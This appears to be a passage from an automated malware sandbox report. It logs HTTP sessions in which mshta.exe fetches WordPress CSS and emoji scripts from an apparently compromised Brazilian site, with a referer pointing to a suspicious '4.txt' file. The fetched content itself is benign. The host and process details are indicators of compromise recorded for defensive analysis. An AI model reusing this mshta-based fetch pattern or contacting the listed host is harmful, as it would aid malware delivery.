6c 2d 77 72 61 70 70 65 72 2d 6f 75 74 65 72 7b 0a 09 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 7d 0a 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 77 72 61 70 70 65 72 2d 6f 75 74 65 72 2e 61 75 74 6f 48 65 69 67 68 74 7b 0a 09 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 20 68 65 69 67 68 74 20 35 30 30 6d 73 20 65 61 73 65 2d 69 6e 2d 6f 75 74 3b 0a 09 2d 6d 6f 7a 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 20 68 65 69 67 68 74 20 35 30 30 6d 73 20 65 61 73 65 2d 69 6e 2d 6f 75 74 3b 0a 09 2d 6d 73 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 20 68 65 69 67 68 74 20 35 30 30 6d 73 20 65 61 73 65 2d 69 6e 2d 6f 75 74 3b 0a 09 2d 6f 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 20 68 65 69 67 68 74 20 35 30 30 6d 73 20 65 61 73 65 2d 69 6e 2d 6f 75 74 3b 0a 09 74 72 61 6e 73 69 74 69 6f 6e 3a 20 68 65 69 67 68 74 20 35 30 30 6d 73 20 65 61 73 65 2d 69 6e 2d 6f 75 74 3b 0a 7d 0a 09 0a 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 69 74 65 6d 7b 0a 09 66 6c 6f 61 74 3a 20 6c 65 66 74 3b 0a 7d 0a 2e 6f 77 6c 2d 63 6f 6e 74 72 6f 6c 73 20 2e 6f 77 6c 2d 70 61 67 65 2c 0a 2e 6f 77 6c 2d 63 6f 6e 74 72 6f 6c 73 20 2e 6f 77 6c 2d 62 75 74 74 6f 6e 73 20 64 69 76 7b 0a 09 63 75 72 73 6f 72 3a 20 70 6f 69 6e 74 65 72 3b 0a 7d 0a 2e 6f 77 6c 2d 63 6f 6e 74 72 6f 6c 73 20 7b 0a 09 2d 77 65 62 6b 69 74 2d 75 73 65 72 2d 73 65 6c 65 63 74 3a 20 6e 6f 6e 65 3b 0a 09 2d 6b 68 74 6d 6c 2d 75 73 65 72 2d 73 65 6c 65 63 74 3a 20 6e 6f 6e 65 3b 0a 09 2d 6d 6f 7a 2d 75 73 65 72 2d 73 65 6c 65 63 74 3a 20 6e 6f 6e 65 3b 0a 09 2d 6d 73 2d 75 73 65 72 2d 73 65 6c 65 63 74 3a 20 6e 6f 6e 65 3b 0a 09 75 73 65 72 2d 73 65 6c 65 63 74 3a 20 6e 6f 6e 65 3b 0a 09 2d 77 65 62 6b 69 74 2d 74 61 70 2d 68 69 67 68 6c 69 67 68 74 2d 63 6f 6c 6f 72 3a 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 29 3b 0a 7d 0a Data Ascii: /* * Core Owl Carousel CSS File v1.24 //* clearfix /.owl-carousel .owl-wrapper:after {content: ".";display: block;clear: both;visibility: hidden;line-height: 0;height: 0;}/ display none until init */.owl-carousel{display: none;position: relative;width: 100%;-ms-touch-action: pan-y;}.owl-carousel .owl-wrapper{display: none;position: relative;-webkit-transform: translate3d(0px, 0px, 0px);}.owl-carousel .owl-wrapper-outer{overflow: hidden;position: relative;width: 100%;}.owl-carousel .owl-wrapper-outer.autoHeight{-webkit-transition: height 500ms ease-in-out;-moz-transition: height 500ms ease-in-out;-ms-transition: height 500ms ease-in-out;-o-transition: height 500ms ease-in-out;transition: height 500ms ease-in-out;}.owl-carousel .owl-item{float: left;}.owl-controls .owl-page,.owl-controls .owl-buttons div{cursor: pointer;}.owl-controls {-webkit-user-select: none;-khtml-user-select: none;-moz-user-select: none;-ms-user-select: none;user-select: none;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);}
Aug 16, 2022 11:44:47.980236053 CEST	1564	IN	Data Raw: 0a 2f 2a 20 6d 6f 75 73 65 20 67 72 61 62 20 69 63 6f 6e 20 2a 2f 0a 2e 67 72 61 62 62 69 6e 67 20 7b 20 0a 20 20 20 20 63 75 72 73 6f 72 3a 75 72 6c 28 67 72 61 62 62 69 6e 67 2e 70 6e 67 29 20 38 20 38 2c 20 6d 6f 76 65 3b 0a 7d 0a 0a 2f 2a 20 Data Ascii: /* mouse grab icon /.grabbing { cursor:url(grabbing.png) 8 8, move;}/ fix */.owl-carousel .owl-wrapper,.owl-carousel .owl-item{-webkit-backface-visibility: display;-moz-backface-visibility: display;-ms-backface-visibil
Aug 16, 2022 11:44:47.980258942 CEST	1566	IN	Data Raw: 65 20 62 6f 74 68 3b 0a 20 20 2d 6d 6f 7a 2d 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 63 61 6c 65 54 6f 46 61 64 65 20 2e 37 73 20 65 61 73 65 20 62 6f 74 68 3b 0a 20 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 63 61 6c 65 54 6f 46 61 64 65 20 2e 37 73 20 Data Ascii: e both; -moz-animation: scaleToFade .7s ease both; animation: scaleToFade .7s ease both;}.owl-goDown-in { -webkit-animation: goDown .6s ease both; -moz-animation: goDown .6s ease both; animation: goDown .6s ease both;}/* scaleUp
Aug 16, 2022 11:44:47.980279922 CEST	1567	IN	Data Raw: 61 74 65 5a 28 2d 35 30 30 70 78 29 20 74 72 61 6e 73 6c 61 74 65 58 28 2d 32 30 30 25 29 3b 20 7d 0a 7d 0a 40 2d 6d 6f 7a 2d 6b 65 79 66 72 61 6d 65 73 20 62 61 63 6b 53 6c 69 64 65 4f 75 74 20 7b 0a 20 20 32 35 25 20 7b 20 6f 70 61 63 69 74 79 Data Ascii: ateZ(-500px) translateX(-200%); }}@-moz-keyframes backSlideOut { 25% { opacity: .5; -moz-transform: translateZ(-500px); } 75% { opacity: .5; -moz-transform: translateZ(-500px) translateX(-200%); } 100% { opacity: .5; -moz-transform: tr
Aug 16, 2022 11:44:47.980299950 CEST	1568	IN	Data Raw: 6f 20 7b 20 6f 70 61 63 69 74 79 3a 20 30 3b 20 2d 6d 6f 7a 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 28 2e 38 29 3b 20 7d 0a 7d 0a 40 6b 65 79 66 72 61 6d 65 73 20 73 63 61 6c 65 54 6f 46 61 64 65 20 7b 0a 20 20 74 6f 20 7b 20 6f 70 61 Data Ascii: o { opacity: 0; -moz-transform: scale(.8); }}@keyframes scaleToFade { to { opacity: 0; transform: scale(.8); }}@-webkit-keyframes goDown { from { -webkit-transform: translateY(-100%); }}@-moz-keyframes goDown { from { -moz-transfor

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.5	49776	187.45.240.69	80	C:\Windows\SysWOW64\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:44:48.016834021 CEST	1569	OUT	GET /wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.theme.css?ver=1.24 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:44:48.256242037 CEST	1571	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:44:48 GMT Server: Apache Last-Modified: Tue, 02 Apr 2019 21:39:19 GMT ETag: "a4faed-680-58592f82d6fc0" Accept-Ranges: bytes Content-Length: 1664 Connection: close Content-Type: text/css Data Raw: 2f 2a 0a 2a 20 09 4f 77 6c 20 43 61 72 6f 75 73 65 6c 20 4f 77 6c 20 44 65 6d 6f 20 54 68 65 6d 65 20 0a 2a 09 76 31 2e 32 34 0a 2a 2f 0a 0a 2e 6f 77 6c 2d 74 68 65 6d 65 20 2e 6f 77 6c 2d 63 6f 6e 74 72 6f 6c 73 7b 0a 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 31 30 70 78 3b 0a 09 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 7d 0a 0a 2f 2a 20 53 74 79 6c 69 6e 67 20 4e 65 78 74 20 61 6e 64 20 50 72 65 76 20 62 75 74 74 6f 6e 73 20 2a 2f 0a 0a 2e 6f 77 6c 2d 74 68 65 6d 65 20 2e 6f 77 6c 2d 63 6f 6e 74 72 6f 6c 73 20 2e 6f 77 6c 2d 62 75 74 74 6f 6e 73 20 64 69 76 7b 0a 09 63 6f 6c 6f 72 3a 20 23 46 46 46 3b 0a 09 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a 09 7a 6f 6f 6d 3a 20 31 3b 0a 09 2a 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 2f 2a 49 45 37 20 6c 69 66 65 2d 73 61 76 65 72 20 2a 2f 0a 09 6d 61 72 67 69 6e 3a 20 35 70 78 3b 0a 09 70 61 64 64 69 6e 67 3a 20 33 70 78 20 31 30 70 78 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 09 2d 77 65 62 6b 69 74 2d 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 33 30 70 78 3b 0a 09 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 33 30 70 78 3b 0a 09 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 33 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 38 36 39 37 39 31 3b 0a 09 66 69 6c 74 65 72 3a 20 41 6c 70 68 61 28 4f 70 61 63 69 74 79 3d 35 30 29 3b 2f 2a 49 45 37 20 66 69 78 2a 2f 0a 09 6f 70 61 63 69 74 79 3a 20 30 2e 35 3b 0a 7d 0a 2f 2a 20 43 6c 69 63 6b 61 62 6c 65 20 63 6c 61 73 73 20 66 69 78 20 70 72 6f 62 6c 65 6d 20 77 69 74 68 20 68 6f 76 65 72 20 6f 6e 20 74 6f 75 63 68 20 64 65 76 69 63 65 73 20 2a 2f 0a 2f 2a 20 55 73 65 20 69 74 20 66 6f 72 20 6e 6f 6e 2d 74 6f 75 63 68 20 68 6f 76 65 72 20 61 63 74 69 6f 6e 20 2a 2f 0a 2e 6f 77 6c 2d 74 68 65 6d 65 20 2e 6f 77 6c 2d 63 6f 6e 74 72 6f 6c 73 2e 63 6c 69 63 6b 61 62 6c 65 20 2e 6f 77 6c 2d 62 75 74 74 6f 6e 73 20 64 69 76 3a 68 6f 76 65 72 7b 0a 09 66 69 6c 74 65 72 3a 20 41 6c 70 68 61 28 4f 70 61 63 69 74 79 3d 31 30 30 29 3b 2f 2a 49 45 37 20 66 69 78 2a 2f 0a 09 6f 70 61 63 69 74 79 3a 20 31 3b 0a 09 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0a 7d 0a 0a 2f 2a 20 53 74 79 6c 69 6e 67 20 50 61 67 69 6e 61 74 69 6f 6e 2a 2f 0a 0a 2e 6f 77 6c 2d 74 68 65 6d 65 20 2e 6f 77 6c 2d 63 6f 6e 74 72 6f 6c 73 20 2e 6f 77 6c 2d 70 61 67 65 7b 0a 09 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a 09 7a 6f 6f 6d 3a 20 31 3b 0a 09 2a 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 2f 2a 49 45 37 20 6c 69 66 65 2d 73 61 76 65 72 20 2a 2f 0a 7d 0a 2e 6f 77 6c 2d 74 68 65 6d 65 20 2e 6f 77 6c 2d 63 6f 6e 74 72 6f 6c 73 20 2e 6f 77 6c 2d 70 61 67 65 20 73 70 61 6e 7b 0a 09 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 09 77 69 64 74 68 3a 20 31 32 70 78 3b 0a 09 68 65 69 67 68 74 3a 20 31 32 70 78 3b 0a 09 6d 61 72 67 69 6e 3a 20 35 70 78 20 37 70 78 3b 0a 09 66 69 6c 74 65 72 3a 20 41 6c 70 68 61 28 4f 70 61 63 69 74 79 3d 35 30 29 3b 2f 2a 49 45 37 20 66 69 78 2a 2f 0a 09 6f 70 61 63 69 74 79 3a 20 30 2e 35 3b 0a 09 2d 77 65 62 6b 69 74 2d 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 32 30 70 78 3b 0a 09 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 32 30 70 78 3b 0a 09 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 Data Ascii: /** Owl Carousel Owl Demo Theme v1.24/.owl-theme .owl-controls{margin-top: 10px;text-align: center;}/* Styling Next and Prev buttons /.owl-theme .owl-controls .owl-buttons div{color: #FFF;display: inline-block;zoom: 1;display: inline;/IE7 life-saver /margin: 5px;padding: 3px 10px;font-size: 12px;-webkit-border-radius: 30px;-moz-border-radius: 30px;border-radius: 30px;background: #869791;filter: Alpha(Opacity=50);/IE7 fix/opacity: 0.5;}/* Clickable class fix problem with hover on touch devices // Use it for non-touch hover action /.owl-theme .owl-controls.clickable .owl-buttons div:hover{filter: Alpha(Opacity=100);/IE7 fix/opacity: 1;text-decoration: none;}/ Styling Pagination/.owl-theme .owl-controls .owl-page{display: inline-block;zoom: 1;display: inline;/IE7 life-saver /}.owl-theme .owl-controls .owl-page span{display: block;width: 12px;height: 12px;margin: 5px 7px;filter: Alpha(Opacity=50);/IE7 fix/opacity: 0.5;-webkit-border-radius: 20px;-moz-border-radius: 20px;border-radius:
Aug 16, 2022 11:44:48.256263971 CEST	1571	IN	Data Raw: 32 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 38 36 39 37 39 31 3b 0a 7d 0a 0a 2e 6f 77 6c 2d 74 68 65 6d 65 20 2e 6f 77 6c 2d 63 6f 6e 74 72 6f 6c 73 20 2e 6f 77 6c 2d 70 61 67 65 2e 61 63 74 69 76 65 20 73 70 61 6e 2c 0a 2e 6f 77 Data Ascii: 20px;background: #869791;}.owl-theme .owl-controls .owl-page.active span,.owl-theme .owl-controls.clickable .owl-page:hover span{filter: Alpha(Opacity=100);/IE7 fix/opacity: 1;}/* If PaginationNumbers is true */.owl-theme .owl

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.5	49777	187.45.240.69	80	C:\Windows\SysWOW64\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:44:48.214796066 CEST	1569	OUT	GET /wp-includes/js/wp-emoji-release.min.js?ver=4.9.20 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:44:48.443495989 CEST	1573	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:39:32 GMT Server: Apache ETag: "a55f41-2ea7-5c001a3bd78ff" Last-Modified: Thu, 15 Apr 2021 12:02:38 GMT Content-Length: 11943 Content-Type: application/x-javascript X-Pad: avoid browser bug Cache-Control: No-Cache Pragma: no-cache X-Varnish: 21588038 21587804 Age: 316 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 2f 2f 20 53 6f 75 72 63 65 3a 20 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 74 77 65 6d 6f 6a 69 2e 6d 69 6e 2e 6a 73 0a 76 61 72 20 74 77 65 6d 6f 6a 69 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 66 3d 7b 62 61 73 65 3a 22 68 74 74 70 73 3a 2f 2f 74 77 65 6d 6f 6a 69 2e 6d 61 78 63 64 6e 2e 63 6f 6d 2f 32 2f 22 2c 65 78 74 3a 22 2e 70 6e 67 22 2c 73 69 7a 65 3a 22 37 32 78 37 32 22 2c 63 6c 61 73 73 4e 61 6d 65 3a 22 65 6d 6f 6a 69 22 2c 63 6f 6e 76 65 72 74 3a 7b 66 72 6f 6d 43 6f 64 65 50 6f 69 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 64 29 7b 64 3d 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 64 3f 70 61 72 73 65 49 6e 74 28 64 2c 31 36 29 3a 64 3b 69 66 28 64 3c 36 35 35 33 36 29 72 65 74 75 72 6e 20 61 28 64 29 3b 72 65 74 75 72 6e 20 61 28 35 35 32 39 36 2b 28 28 64 2d 3d 36 35 35 33 36 29 3e 3e 31 30 29 2c 35 36 33 32 30 2b 28 31 30 32 33 26 64 29 29 7d 2c 74 6f 43 6f 64 65 50 6f 69 6e 74 3a 69 7d 2c 6f 6e 65 72 72 6f 72 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 70 61 72 65 6e 74 4e 6f 64 65 26 26 74 68 69 73 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 70 6c 61 63 65 43 68 69 6c 64 28 67 28 74 68 69 73 2e 61 6c 74 2c 21 31 29 2c 74 68 69 73 29 7d 2c 70 61 72 73 65 3a 66 75 6e 63 74 69 6f 6e 28 64 2c 75 29 7b 75 26 26 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 75 7c 7c 28 75 3d 7b 63 61 6c 6c 62 61 63 6b 3a 75 7d 29 3b 72 65 74 75 72 6e 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 64 3f 66 75 6e 63 74 69 6f 6e 28 64 2c 74 29 7b 72 65 74 75 72 6e 20 6f 28 64 2c 66 75 6e 63 74 69 6f 6e 28 64 29 7b 76 61 72 20 75 2c 66 2c 65 3d 64 2c 63 3d 78 28 64 29 2c 61 3d 74 2e 63 61 6c 6c 62 61 63 6b 28 63 2c 74 29 3b 69 66 28 61 29 7b 66 6f 72 28 66 20 69 6e 20 65 3d 22 3c 69 6d 67 20 22 2e 63 6f 6e 63 61 74 28 27 63 6c 61 73 73 3d 22 27 2c 74 2e 63 6c 61 73 73 4e 61 6d 65 2c 27 22 20 27 2c 27 64 72 61 67 67 61 62 6c 65 3d 22 66 61 6c 73 65 22 20 27 2c 27 61 6c 74 3d 22 27 2c 64 2c 27 22 27 2c 27 20 73 72 63 3d 22 27 2c 61 2c 27 22 27 29 2c 75 3d 74 2e 61 74 74 72 69 62 75 74 65 73 28 64 2c 63 29 29 75 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 66 29 26 26 30 21 3d 3d 66 2e 69 6e 64 65 78 4f 66 28 22 6f 6e 22 29 26 26 2d 31 3d 3d 3d 65 2e 69 6e 64 65 78 4f 66 28 22 20 22 2b 66 2b 22 3d 22 29 26 26 28 65 3d 65 2e 63 6f 6e 63 61 74 28 22 20 22 2c 66 2c 27 3d 22 27 2c 75 5b 66 5d 2e 72 65 70 6c 61 63 65 28 6e 2c 72 29 2c 27 22 27 29 29 3b 65 3d 65 2e 63 6f 6e 63 61 74 28 22 2f 3e 22 29 7d 72 65 74 75 72 6e 20 65 7d 29 7d 3a 66 75 6e 63 74 69 6f 6e 28 64 2c 75 29 7b 76 61 72 20 66 2c 65 2c 63 2c 61 2c 74 2c 6e 2c 72 2c 62 2c 6f 2c 69 2c 73 2c 6c 3d 66 75 6e 63 74 69 6f 6e 20 64 28 75 2c 66 29 7b 76 61 72 20 65 2c 63 2c 61 3d 75 2e 63 68 69 6c 64 4e 6f 64 65 73 2c 74 3d 61 2e 6c 65 6e 67 74 68 3b 66 6f 72 28 3b 74 2d Data Ascii: // Source: wp-includes/js/twemoji.min.jsvar twemoji=function(){"use strict";var f={base:"https://twemoji.maxcdn.com/2/",ext:".png",size:"72x72",className:"emoji",convert:{fromCodePoint:function(d){d="string"==typeof d?parseInt(d,16):d;if(d<65536)return a(d);return a(55296+((d-=65536)>>10),56320+(1023&d))},toCodePoint:i},onerror:function(){this.parentNode&&this.parentNode.replaceChild(g(this.alt,!1),this)},parse:function(d,u){u&&"function"!=typeof u\|\|(u={callback:u});return("string"==typeof d?function(d,t){return o(d,function(d){var u,f,e=d,c=x(d),a=t.callback(c,t);if(a){for(f in e="<img ".concat('class="',t.className,'" ','draggable="false" ','alt="',d,'"',' src="',a,'"'),u=t.attributes(d,c))u.hasOwnProperty(f)&&0!==f.indexOf("on")&&-1===e.indexOf(" "+f+"=")&&(e=e.concat(" ",f,'="',u[f].replace(n,r),'"'));e=e.concat("/>")}return e})}:function(d,u){var f,e,c,a,t,n,r,b,o,i,s,l=function d(u,f){var e,c,a=u.childNodes,t=a.length;for(;t-
Aug 16, 2022 11:44:48.443537951 CEST	1574	IN	Data Raw: 2d 3b 29 65 3d 61 5b 74 5d 2c 33 3d 3d 3d 28 63 3d 65 2e 6e 6f 64 65 54 79 70 65 29 3f 66 2e 70 75 73 68 28 65 29 3a 31 21 3d 3d 63 7c 7c 22 6f 77 6e 65 72 53 56 47 45 6c 65 6d 65 6e 74 22 69 6e 20 65 7c 7c 68 2e 74 65 73 74 28 65 2e 6e 6f 64 65 Data Ascii: -;)e=a[t],3===(c=e.nodeType)?f.push(e):1!==c\|\|"ownerSVGElement"in e\|\|h.test(e.nodeName.toLowerCase())\|\|d(e,f);return f}(d,[]),p=l.length;for(;p--;){for(c=!1,a=document.createDocumentFragment(),t=l[p],n=t.nodeValue,r=0;i=m.exec(n);){if((s=i.ind
Aug 16, 2022 11:44:48.443567038 CEST	1576	IN	Data Raw: 5c 75 64 64 62 33 5d 29 7c 28 3f 3a 5c 75 64 38 33 63 5b 5c 75 64 66 63 62 5c 75 64 66 63 63 5d 7c 5c 75 64 38 33 64 5b 5c 75 64 64 37 34 5c 75 64 64 37 35 5d 7c 5c 75 32 36 66 39 29 28 28 3f 3a 5c 75 64 38 33 63 5b 5c 75 64 66 66 62 2d 5c 75 64 Data Ascii: \uddb3])\|(?:\ud83c[\udfcb\udfcc]\|\ud83d[\udd74\udd75]\|\u26f9)((?:\ud83c[\udffb-\udfff]\|\ufe0f)\u200d[\u2640\u2642]\ufe0f)\|(?:\ud83c[\udfc3\udfc4\udfca]\|\ud83d[\udc6e\udc71\udc73\udc77\udc81\udc82\udc86\udc87\ude45-\ude47\ude4b\ude4d\ude4e\udea
Aug 16, 2022 11:44:48.443597078 CEST	1577	IN	Data Raw: 63 36 39 5c 75 32 30 30 64 5c 75 64 38 33 64 5c 75 64 63 36 37 5c 75 32 30 30 64 5c 75 64 38 33 64 5b 5c 75 64 63 36 36 5c 75 64 63 36 37 5d 7c 5c 75 64 38 33 64 5c 75 64 63 36 39 5c 75 32 30 30 64 5c 75 64 38 33 64 5c 75 64 63 36 39 5c 75 32 30 Data Ascii: c69\u200d\ud83d\udc67\u200d\ud83d[\udc66\udc67]\|\ud83d\udc69\u200d\ud83d\udc69\u200d\ud83d[\udc66\udc67]\|\ud83c\udff3\ufe0f\u200d\ud83c\udf08\|\ud83c\udff4\u200d\u2620\ufe0f\|\ud83d\udc41\u200d\ud83d\udde8\|\ud83d\udc68\u200d\ud83d[\udc66\udc67]\|
Aug 16, 2022 11:44:48.443631887 CEST	1578	IN	Data Raw: 5c 75 32 36 37 66 5c 75 32 36 39 32 2d 5c 75 32 36 39 37 5c 75 32 36 39 39 5c 75 32 36 39 62 5c 75 32 36 39 63 5c 75 32 36 61 30 5c 75 32 36 61 31 5c 75 32 36 61 61 5c 75 32 36 61 62 5c 75 32 36 62 30 5c 75 32 36 62 31 5c 75 32 36 62 64 5c 75 32 Data Ascii: \u267f\u2692-\u2697\u2699\u269b\u269c\u26a0\u26a1\u26aa\u26ab\u26b0\u26b1\u26bd\u26be\u26c4\u26c5\u26c8\u26cf\u26d1\u26d3\u26d4\u26e9\u26ea\u26f0-\u26f5\u26f8\u26fa\u26fd\u2702\u2708\u2709\u270f\u2712\u2714\u2716\u271d\u2721\u2733\u2734\u2744\
Aug 16, 2022 11:44:48.443661928 CEST	1580	IN	Data Raw: 5c 75 64 64 66 30 2d 5c 75 64 64 66 35 5c 75 64 64 66 37 5c 75 64 64 66 61 2d 5c 75 64 64 66 66 5d 7c 5c 75 64 38 33 63 5c 75 64 64 65 39 5c 75 64 38 33 63 5b 5c 75 64 64 65 61 5c 75 64 64 65 63 5c 75 64 64 65 66 5c 75 64 64 66 30 5c 75 64 64 66 Data Ascii: \uddf0-\uddf5\uddf7\uddfa-\uddff]\|\ud83c\udde9\ud83c[\uddea\uddec\uddef\uddf0\uddf2\uddf4\uddff]\|\ud83c\uddea\ud83c[\udde6\udde8\uddea\uddec\udded\uddf7-\uddfa]\|\ud83c\uddeb\ud83c[\uddee-\uddf0\uddf2\uddf4\uddf7]\|\ud83c\uddec\ud83c[\udde6\udde
Aug 16, 2022 11:44:48.443690062 CEST	1581	IN	Data Raw: 64 64 65 36 5c 75 64 64 66 32 5c 75 64 64 66 63 5d 7c 5c 75 64 38 33 63 5b 5c 75 64 63 63 66 5c 75 64 64 38 65 5c 75 64 64 39 31 2d 5c 75 64 64 39 61 5c 75 64 64 65 36 2d 5c 75 64 64 66 66 5c 75 64 65 30 31 5c 75 64 65 33 32 2d 5c 75 64 65 33 36 Data Ascii: dde6\uddf2\uddfc]\|\ud83c[\udccf\udd8e\udd91-\udd9a\udde6-\uddff\ude01\ude32-\ude36\ude38-\ude3a\ude50\ude51\udf00-\udf20\udf2d-\udf35\udf37-\udf7c\udf7e-\udf84\udf86-\udf93\udfa0-\udfc1\udfc5\udfc6\udfc8\udfc9\udfcf-\udfd3\udfe0-\udff0\udff4\u
Aug 16, 2022 11:44:48.443717957 CEST	1583	IN	Data Raw: 66 2e 70 75 73 68 28 28 36 35 35 33 36 2b 28 63 2d 35 35 32 39 36 3c 3c 31 30 29 2b 28 65 2d 35 36 33 32 30 29 29 2e 74 6f 53 74 72 69 6e 67 28 31 36 29 29 2c 63 3d 30 29 3a 35 35 32 39 36 3c 3d 65 26 26 65 3c 3d 35 36 33 31 39 3f 63 3d 65 3a 66 Data Ascii: f.push((65536+(c-55296<<10)+(e-56320)).toString(16)),c=0):55296<=e&&e<=56319?c=e:f.push(e.toString(16));return f.join(u\|\|"-")}}();// Source: wp-includes/js/wp-emoji.min.js!function(c,l){c.wp=c.wp\|\|{},c.wp.emoji=new function(){var n,u,e=c.Mut
Aug 16, 2022 11:44:48.443747997 CEST	1584	IN	Data Raw: 7c 7c 2f 5b 5c 75 32 30 33 43 5c 75 32 30 34 39 5c 75 32 30 45 33 5c 75 32 31 32 32 5c 75 32 31 33 39 5c 75 32 31 39 34 2d 5c 75 32 31 39 39 5c 75 32 31 41 39 5c 75 32 31 41 41 5c 75 32 33 30 30 5c 75 32 33 31 41 5c 75 32 33 31 42 5c 75 32 33 32 Data Ascii: \|\|/[\u203C\u2049\u20E3\u2122\u2139\u2194-\u2199\u21A9\u21AA\u2300\u231A\u231B\u2328\u2388\u23CF\u23E9-\u23F3\u23F8-\u23FA\u24C2\u25AA\u25AB\u25B6\u25C0\u25FB-\u25FE\u2600-\u2604\u260E\u2611\u2614\u2615\u2618\u261D\u2620\u2622\u2623\u2626\u262A
Aug 16, 2022 11:44:48.443772078 CEST	1585	IN	Data Raw: 4e 6f 64 65 26 26 28 74 68 69 73 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 65 72 72 6f 72 22 2c 22 6c 6f 61 64 2d 66 61 69 6c 65 64 22 29 2c 6e 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 70 6c 61 63 65 43 68 69 6c 64 28 61 2e 63 Data Ascii: Node&&(this.setAttribute("data-error","load-failed"),n.parentNode.replaceChild(a.createTextNode(n.alt),n))}},"object"==typeof e.imgAttr&&(t.attributes=function(){return e.imgAttr}),n.parse(u,t)):u}return l&&(l.DOMReady?s():l.readyCallback=s),{
Aug 16, 2022 11:44:48.447179079 CEST	1585	OUT	GET /wp-content/plugins/cherry-parallax/css/parallax.css?ver=1.0.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:44:48.679821968 CEST	1586	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:44:48 GMT Server: Apache Last-Modified: Tue, 02 Apr 2019 21:25:36 GMT ETag: "a4f8ac-193-58592c71f7400" Accept-Ranges: bytes Content-Length: 403 Connection: close Content-Type: text/css
